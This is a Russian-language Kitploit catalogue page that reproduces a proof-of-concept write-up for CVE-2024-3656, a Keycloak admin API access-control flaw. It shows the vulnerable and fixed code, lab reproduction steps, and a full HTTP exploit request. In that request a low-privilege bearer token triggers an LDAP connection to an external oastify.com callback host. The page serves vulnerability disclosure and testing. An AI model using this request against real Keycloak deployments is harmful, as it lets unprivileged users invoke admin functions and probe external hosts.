Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-3656 — API администратора Keycloak позволяет пользователям с низкими привилегиями использовать административные функции | Kitploit
Инструменты/GitHubGitHub/h4x0r-dz/cve-2024-3656
Аутентификация и авторизацияАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеНеправильная Конфигурация
GitHubh4x0r-dz/cve-2024-3656

CVE-2024-3656

API администратора Keycloak позволяет пользователям с низкими привилегиями использовать административные функции

Репозиторий
311021 год назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Keycloak < 24.0.5 уязвим к нарушению контроля доступа (Broken Access Control), где атакующий может использовать любого аутентифицированного пользователя для выполнения некоторых действий API, таких как:

  • Тестирование LDAP-подключений через конечную точку testLDAPConnection.
  • Получение неуправляемых атрибутов любого пользователя через конечную точку getUnmanagedAttributes.
  • Доступ к провайдерам политик регистрации клиентов через конечную точку getProviders.

Меня заинтересовала только testLDAPConnection, где атакующий может взаимодействовать с LDAP на внешнем хосте.

Шаги воспроизведения

Сначала загрузите уязвимую версию KeyCloak 24.0.4 отсюда https://www.keycloak.org/archive/downloads-24.0.4.html

Затем распакуйте Zip-файл и выполните команду bin/kc.sh start-dev

image

Теперь он будет запущен на localhost:8080. Создайте новую учётную запись администратора, затем войдите в эту учётную запись.

Теперь создайте новый Realm для обычных пользователей, затем создайте пользователя с правами обычного пользователя в этом realm.

image

Основываясь на коммите, исправляющем уязвимость «Отсутствие проверок авторизации в некоторых конечных точках администратора» https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1

мы видим, что были изменены 3 файла:

  • TestLdapConnectionResource.java
  • UserResource.java
  • ClientRegistrationPolicyResource.java

Анализ изменения кода в TestLdapConnectionResource.java:

(Уязвимый код):

root@kitploit:~
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
    try {
        LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
        return Response.noContent().build();
    }
    // Обработка исключений...
}

Здесь не было проверки разрешений. Любой аутентифицированный пользователь мог вызвать testLDAPConnection и выполнить тесты LDAP, что является административным действием.

(Исправленный код):

root@kitploit:~
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
    auth.realm().requireManageRealm(); // Добавлена проверка разрешений
    try {
        LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
        return Response.noContent().build();
    }
    // Обработка исключений...
}

image

Строка auth.realm().requireManageRealm(); была добавлена для проверки, есть ли у пользователя права администратора (роль manage_realm) в этом realm.

Это означает, что любой пользователь любого realm может отправить запрос на /admin/realms/users/testLDAPConnection.

Теперь в новом браузере откройте ссылку http://localhost:8080/realms/users/protocol/openid-connect/auth?client_id=account-console

Войдите под созданным вами пользователем, затем получите authorization: Bearer <>

Отправьте HTTP-запрос к уязвимой конечной точке:

root@kitploit:~
POST /admin/realms/users/testLDAPConnection HTTP/1.1
Host: dzdz.me:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
authorization: Bearer <xxxx>
content-type: application/json
Content-Length: 265
Origin: http://dzdz.me:8080
Connection: close


{

    "action": "testConnection",
    "connectionUrl": "ldap://xxxxxxxxxxxxxxxxxxxxxxx.oastify.com",
    "bindDn": "cn=admin,dc=example,dc=com",
    "bindCredential": "password",
    "useTruststoreSpi": "ldapsOnly",
    "connectionTimeout": "5000"
}

В параметре connectionUrl укажите ваш внешний хост и отправьте запрос.

Затем вы получите DNS-взаимодействие.

image

То же самое можно применить к getUnmanagedAttributes и getProviders.

Ссылки: https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1 https://github.com/advisories/GHSA-2cww-fgmg-4jqc

Скачать инструмент